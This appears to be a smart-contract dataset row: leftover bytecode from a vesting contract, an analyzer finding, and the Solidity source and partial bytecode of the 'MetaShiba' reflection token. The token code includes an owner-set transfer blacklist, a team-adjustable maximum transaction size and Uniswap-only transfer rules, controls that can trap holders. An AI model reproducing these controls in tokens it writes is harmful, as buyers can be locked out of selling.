01b031690565b600090815260026020526040902054600160d01b900465ffffffffffff1690565b7f000000000000000000000000da0ab1e0017debcd72be8599041a2aa3ba7e740f81565b600090815260026020526040902060010154600160d01b900460ff1690565b60005415610de6576040805162461bcd60e51b81526020600482015260156024820152600080516020612117833981519152604482015290519081900360640190fd5b60016000908155828152600260205260409020546001600160a01b03163314610e56576040805162461bcd60e51b815260206004820152601a60248201527f447373566573742f6f6e6c792d757365722d63616e2d6d6f7665000000000000604482015290519081900360640190fd5b6001600160a01b038116610eb1576040805162461bcd60e51b815260206004820152601c60248201527f447373566573742f7a65726f2d616464726573732d696e76616c696400000000604482015290519081900360640190fd5b60008281526002602052604080822080546001600160a01b0319166001600160a01b0385169081179091559051909184917f8ceddd02f4fb8ef0d5d6212cf4c91d59d366e04b977e8b2b944168d2a6d850819190a3505060008055565b33600090815260016020819052604082205414610f60576040805162461bcd60e51b81526020600482015260166024820152600080516020612137833981519152604482015290519081900360640190fd5b60005415610fa3576040805162461bcd60e51b81526020600482015260156024820152600080516020612117833981519152604482015290519081900360640190fd5b60016000556001600160a01b038716610ffa576040805162461bcd60e51b81526020600482015260146024820152732239b9ab32b9ba17b4b73b30b634b216bab9b2b960611b604482015290519081900360640190fd5b6000861161104f576040805162461bcd60e51b815260206004820152601c60248201527f447373566573742f6e6f2d766573742d746f74616c2d616d6f756e7400000000604482015290519081900360640190fd5b61105d426325980600611c8f565b85106110a6576040805162461bcd60e51b81526020600482015260136024820152722239b9ab32b9ba17b133b716ba37b796b330b960691b604482015290519081900360640190fd5b6110b4426325980600611ce4565b8511611107576040805162461bcd60e51b815260206004820152601860248201527f447373566573742f62676e2d746f6f2d6c6f6e672d61676f0000000000000000604482015290519081900360640190fd5b6000841161114f576040805162461bcd60e51b815260206004820152601060248201526f447373566573742f7461752d7a65726f60801b604482015290519081900360640190fd5b60045484878161115b57fe5b0411156111a7576040805162461bcd60e51b8152602060048201526015602482015274088e6e6accae6e85ee4c2e8ca5ae8dede5ad0d2ced605b1b604482015290519081900360640190fd5b63259806008411156111f7576040805162461bcd60e51b8152602060048201526014602482015273447373566573742f7461752d746f6f2d6c6f6e6760601b604482015290519081900360640190fd5b83831115611243576040805162461bcd60e51b8152602060048201526014602482015273447373566573742f6574612d746f6f2d6c6f6e6760601b604482015290519081900360640190fd5b60001960035410611292576040805162461bcd60e51b8152602060048201526014602482015273447373566573742f6964732d6f766572666c6f7760601b604482015290519081900360640190fd5b5060038054600101908190556040805161010081019091526001600160a01b0388168152602081016112c387611d34565b65ffffffffffff1681526020016112e26112dd8887611c8f565b611d34565b65ffffffffffff1681526020016112fc6112dd8888611c8f565b65ffffffffffff1681526001600160a01b03841660208201526000604082015260600161132888611d91565b6001600160801b03908116825260006020928301819052848152600280845260408083208651815496880151888401516001600160a01b03199098166001600160a01b039283161765ffffffffffff60a01b1916600160a01b65ffffffffffff92831602176001600160d01b0316600160d01b9882168902178355606089015160018401805460808c015160a08d015165ffffffffffff1990921693909416929092176601000000000000600160d01b031916600160301b938516939093029290921760ff60d01b191660ff9091169098029790971790965560c08701519201805460e0909701516001600160801b0319909716928516929092178416600160801b96909416959095029290921790915591519089169183917f2e3cc5298d3204a0f0fc2be0f6fdefcef002025f4c75caf950b23e6cfbfb78d09190a3600080559695505050505050565b600090815260026020526040902060010154600160301b90046001600160a01b031690565b60009081526002602081905260409091200154600160801b90046001600160801b031690565b60009081526002602052604090206001015465ffffffffffff1690565b60035481565b60006114eb6120d2565b5060008281526002602081815260409283902083516101008101855281546001600160a01b03808216808452600160a01b830465ffffffffffff90811696850196909652600160d01b9283900486169784019790975260018401549485166060840152600160301b850416608083015290920460ff1660a0830152909101546001600160801b0380821660c0840152600160801b9091041660e0820152906115d2576040805162461bcd60e51b8152602060048201526015602482015274111cdcd5995cdd0bda5b9d985b1a590b585dd85c99605a1b604482015290519081900360640190fd5b6109f342826020015183606001518460c00151611def565b60026020819052600091825260409091208054600182015491909201546001600160a01b038084169365ffffffffffff600160a01b8204811694600160d01b9283900482169491811693600160301b8204169260ff910416906001600160801b0380821691600160801b90041688565b6000541561169d576040805162461bcd60e51b81526020600482015260156024820152600080516020612117833981519152604482015290519081900360640190fd5b600160008181553381526020829052604090205414806116dd5750600082815260026020526040902060010154600160301b90046001600160a01b031633145b61171c576040805162461bcd60e51b81526020600482015260166024820152600080516020612137833981519152604482015290519081900360640190fd5b6117246120d2565b5060008281526002602081815260409283902083516101008101855281546001600160a01b03808216808452600160a01b830465ffffffffffff90811696850196909652600160d01b9283900486169784019790975260018401549485166060840152600160301b850416608083015290920460ff1660a0830152909101546001600160801b0380821660c0840152600160801b9091041660e08201529061180b576040805162461bcd60e51b8152602060048201526015602482015274111cdcd5995cdd0bda5b9d985b1a590b585dd85c99605a1b604482015290519081900360640190fd5b42821015611817574291505b806060015165ffffffffffff168210156119a457600061183683611d34565b6000858152600260209081526040909120600101805465ffffffffffff191665ffffffffffff848116918217909255918501519293509190911611156118d3576000848152600260208190526040909120805465ffffffffffff60a01b1916600160a01b65ffffffffffff8516908102919091176001600160d01b0316600160d01b919091021781550180546001600160801b03191690556119a2565b816040015165ffffffffffff168165ffffffffffff16101561193157600084815260026020819052604090912080546001600160d01b0316600160d01b65ffffffffffff8516021781550180546001600160801b03191690556119a2565b61197161196c611959858560200151866040015187606001518860c001518960e001516119e3565b8460e001516001600160801b0316611c8f565b611d91565b60008581526002602081905260409091200180546001600160801b0319166001600160801b03929092169190911790555b505b60408051838152905184917f6f2a3ed78a3066d89360b6c89e52bf3313f52e859401a3ea5fa0f033fd540c3c919081900360200190a250506000805550565b60008465ffffffffffff168710611a1757611a12611a0388888787611def565b836001600160801b0316611ce4565b611a1a565b60005b979650505050505050565b60005415611a68576040805162461bcd60e51b81526020600482015260156024820152600080516020612117833981519152604482015290519081900360640190fd5b6001600055611a756120d2565b5060008281526002602081815260409283902083516101008101855281546001600160a01b03808216808452600160a01b830465ffffffffffff90811696850196909652600160d01b9283900486169784019790975260018401549485166060840152600160301b850416608083015290920460ff1660a0830152909101546001600160801b0380821660c0840152600160801b9091041660e082015290611b5c576040805162461bcd60e51b8152602060048201526015602482015274111cdcd5995cdd0bda5b9d985b1a590b585dd85c99605a1b604482015290519081900360640190fd5b60a081015160ff161580611b79575080516001600160a01b031633145b611bca576040805162461bcd60e51b815260206004820152601b60248201527f447373566573742f6f6e6c792d757365722d63616e2d636c61696d0000000000604482015290519081900360640190fd5b6000611bee428360200151846040015185606001518660c001518760e001516119e3565b9050611bfa8184611e79565b9050611c1661196c8360e001516001600160801b031683611c8f565b60008581526002602081905260409091200180546001600160801b03928316600160801b0292169190911790558151611c4f9082611e8e565b60408051828152905185917fa2906882572b0e9dfe893158bb064bc308eb1bd87d1da481850f9d17fc293847919081900360200190a25050600080555050565b80820182811015611cde576040805162461bcd60e51b8152602060048201526014602482015273447373566573742f6164642d6f766572666c6f7760601b604482015290519081900360640190fd5b92915050565b80820382811115611cde576040805162461bcd60e51b8152602060048201526015602482015274447373566573742f7375622d756e646572666c6f7760581b604482015290519081900360640190fd5b8065ffffffffffff811681146105f7576040805162461bcd60e51b815260206004820152601760248201527f447373566573742f75696e7434382d6f766572666c6f77000000000000000000604482015290519081900360640190fd5b806001600160801b03811681146105f7576040805162461bcd60e51b815260206004820152601860248201527f447373566573742f75696e743132382d6f766572666c6f770000000000000000604482015290519081900360640190fd5b60008365ffffffffffff16851015611e0957506000611e71565b8265ffffffffffff168510611e2857506001600160801b038116611e71565b611e428365ffffffffffff168565ffffffffffff16611ce4565b611e66836001600160801b0316611e61888865ffffffffffff16611ce4565b61206f565b81611e6d57fe5b0490505b949350505050565b6000818311611e8857826109f3565b50919050565b7f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b6001600160a01b031663f24e23eb7f000000000000000000000000da0ab1e0017debcd72be8599041a2aa3ba7e740f6001600160a01b03166321f8a7216040518163ffffffff1660e01b81526004018080664d43445f564f5760c81b815250602001905060206040518083038186803b158015611f2b57600080fd5b505afa158015611f3f573d6000803e3d6000fd5b505050506040513d6020811015611f5557600080fd5b505130611f6e856b033b2e3c9fd0803ce800000061206f565b6040518463ffffffff1660e01b815260040180846001600160a01b03168152602001836001600160a01b031681526020018281526020019350505050600060405180830381600087803b158015611fc457600080fd5b505af1158015611fd8573d6000803e3d6000fd5b505050507f0000000000000000000000009759a6ac90977b93b58547b4a71c78317f391a286001600160a01b031663ef693bed83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561205357600080fd5b505af1158015612067573d6000803e3d6000fd5b505050505050565b600081158061208a5750508082028282828161208757fe5b04145b611cde576040805162461bcd60e51b8152602060048201526014602482015273447373566573742f6d756c2d6f766572666c6f7760601b604482015290519081900360640190fd5b6040805161010081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c0810182905260e08101919091529056fe447373566573742f73797374656d2d6c6f636b65640000000000000000000000447373566573742f6e6f742d617574686f72697a656400000000000000000000a2646970667358221220861fc9ac332f01ea936699928e99fb8f2420ad3ecd5b9630c855a5f91781977664736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 5,784 |
0x04a8cbc7236dd53c69139c9581640861a8cf59b3
|
/**
*Submitted for verification at Etherscan.io on 2021-10-30
*/
/*
Meta Shiba
https://t.me/MeatShiba
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MetaShiba is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MetaShiba";
string private constant _symbol = "MetaShiba";
uint8 private constant _decimals = 9;
//RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 4;
uint256 private _redisfee = 2;
//Bots
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 200000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function maxtx(uint256 maxTxpc) external {
require(_msgSender() == _teamAddress);
require(maxTxpc > 0);
_maxTxAmount = _tTotal.mul(maxTxpc).div(10**4);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 4;
_redisfee = 2;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (120 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610294578063b515566a146102b4578063c3c8cd80146102d4578063c9567bf9146102e9578063dd62ed3e146102fe57600080fd5b806370a0823114610237578063715018a6146102575780638da5cb5b1461026c57806395d89b411461010e57600080fd5b80632634e5e8116100d15780632634e5e8146101c4578063313ce567146101e65780635932ead1146102025780636fc3eaec1461022257600080fd5b806306fdde031461010e578063095ea7b31461014f57806318160ddd1461017f57806323b872dd146101a457600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201825260098152684d657461536869626160b81b6020820152905161014691906118db565b60405180910390f35b34801561015b57600080fd5b5061016f61016a366004611762565b610344565b6040519015158152602001610146565b34801561018b57600080fd5b50670de0b6b3a76400005b604051908152602001610146565b3480156101b057600080fd5b5061016f6101bf366004611721565b61035b565b3480156101d057600080fd5b506101e46101df366004611894565b6103c4565b005b3480156101f257600080fd5b5060405160098152602001610146565b34801561020e57600080fd5b506101e461021d36600461185a565b61044a565b34801561022e57600080fd5b506101e461049b565b34801561024357600080fd5b506101966102523660046116ae565b6104c8565b34801561026357600080fd5b506101e46104ea565b34801561027857600080fd5b506000546040516001600160a01b039091168152602001610146565b3480156102a057600080fd5b5061016f6102af366004611762565b61055e565b3480156102c057600080fd5b506101e46102cf36600461178e565b61056b565b3480156102e057600080fd5b506101e4610601565b3480156102f557600080fd5b506101e4610637565b34801561030a57600080fd5b506101966103193660046116e8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103513384846109f9565b5060015b92915050565b6000610368848484610b1d565b6103ba84336103b585604051806060016040528060288152602001611ac7602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f2f565b6109f9565b5060019392505050565b600c546001600160a01b0316336001600160a01b0316146103e457600080fd5b600081116103f157600080fd5b61040f612710610409670de0b6b3a764000084610f69565b90610fef565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b0316331461047d5760405162461bcd60e51b815260040161047490611930565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104bb57600080fd5b476104c581611031565b50565b6001600160a01b038116600090815260026020526040812054610355906110b6565b6000546001600160a01b031633146105145760405162461bcd60e51b815260040161047490611930565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610351338484610b1d565b6000546001600160a01b031633146105955760405162461bcd60e51b815260040161047490611930565b60005b81518110156105fd576001600a60008484815181106105b9576105b9611a77565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f581611a46565b915050610598565b5050565b600c546001600160a01b0316336001600160a01b03161461062157600080fd5b600061062c306104c8565b90506104c581611133565b6000546001600160a01b031633146106615760405162461bcd60e51b815260040161047490611930565b600f54600160a01b900460ff16156106bb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610474565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106f73082670de0b6b3a76400006109f9565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561073057600080fd5b505afa158015610744573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076891906116cb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b057600080fd5b505afa1580156107c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e891906116cb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561083057600080fd5b505af1158015610844573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086891906116cb565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610898816104c8565b6000806108ad6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561091057600080fd5b505af1158015610924573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094991906118ad565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109c157600080fd5b505af11580156109d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fd9190611877565b6001600160a01b038316610a5b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610474565b6001600160a01b038216610abc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610474565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b815760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610474565b6001600160a01b038216610be35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610474565b60008111610c455760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610474565b6000546001600160a01b03848116911614801590610c7157506000546001600160a01b03838116911614155b15610ed257600f54600160b81b900460ff1615610d58576001600160a01b0383163014801590610caa57506001600160a01b0382163014155b8015610cc45750600e546001600160a01b03848116911614155b8015610cde5750600e546001600160a01b03838116911614155b15610d5857600e546001600160a01b0316336001600160a01b03161480610d185750600f546001600160a01b0316336001600160a01b0316145b610d585760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610474565b601054811115610d6757600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610da957506001600160a01b0382166000908152600a602052604090205460ff16155b610db257600080fd5b600f546001600160a01b038481169116148015610ddd5750600e546001600160a01b03838116911614155b8015610e0257506001600160a01b03821660009081526005602052604090205460ff16155b8015610e175750600f54600160b81b900460ff165b15610e65576001600160a01b0382166000908152600b60205260409020544211610e4057600080fd5b610e4b4260786119d6565b6001600160a01b0383166000908152600b60205260409020555b6000610e70306104c8565b600f54909150600160a81b900460ff16158015610e9b5750600f546001600160a01b03858116911614155b8015610eb05750600f54600160b01b900460ff165b15610ed057610ebe81611133565b478015610ece57610ece47611031565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f1457506001600160a01b03831660009081526005602052604090205460ff165b15610f1d575060005b610f29848484846112bc565b50505050565b60008184841115610f535760405162461bcd60e51b815260040161047491906118db565b506000610f608486611a2f565b95945050505050565b600082610f7857506000610355565b6000610f848385611a10565b905082610f9185836119ee565b14610fe85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610474565b9392505050565b6000610fe883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112e8565b600c546001600160a01b03166108fc61104b836002610fef565b6040518115909202916000818181858888f19350505050158015611073573d6000803e3d6000fd5b50600d546001600160a01b03166108fc61108e836002610fef565b6040518115909202916000818181858888f193505050501580156105fd573d6000803e3d6000fd5b600060065482111561111d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610474565b6000611127611316565b9050610fe88382610fef565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061117b5761117b611a77565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111cf57600080fd5b505afa1580156111e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061120791906116cb565b8160018151811061121a5761121a611a77565b6001600160a01b039283166020918202929092010152600e5461124091309116846109f9565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611279908590600090869030904290600401611965565b600060405180830381600087803b15801561129357600080fd5b505af11580156112a7573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b806112c9576112c9611339565b6112d484848461135c565b80610f2957610f2960046008556002600955565b600081836113095760405162461bcd60e51b815260040161047491906118db565b506000610f6084866119ee565b6000806000611323611453565b90925090506113328282610fef565b9250505090565b6008541580156113495750600954155b1561135057565b60006008819055600955565b60008060008060008061136e87611493565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113a090876114f0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113cf9086611532565b6001600160a01b0389166000908152600260205260409020556113f181611591565b6113fb84836115db565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161144091815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061146e8282610fef565b82101561148a57505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006114b08a6008546009546115ff565b92509250925060006114c0611316565b905060008060006114d38e87878761164e565b919e509c509a509598509396509194505050505091939550919395565b6000610fe883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f2f565b60008061153f83856119d6565b90508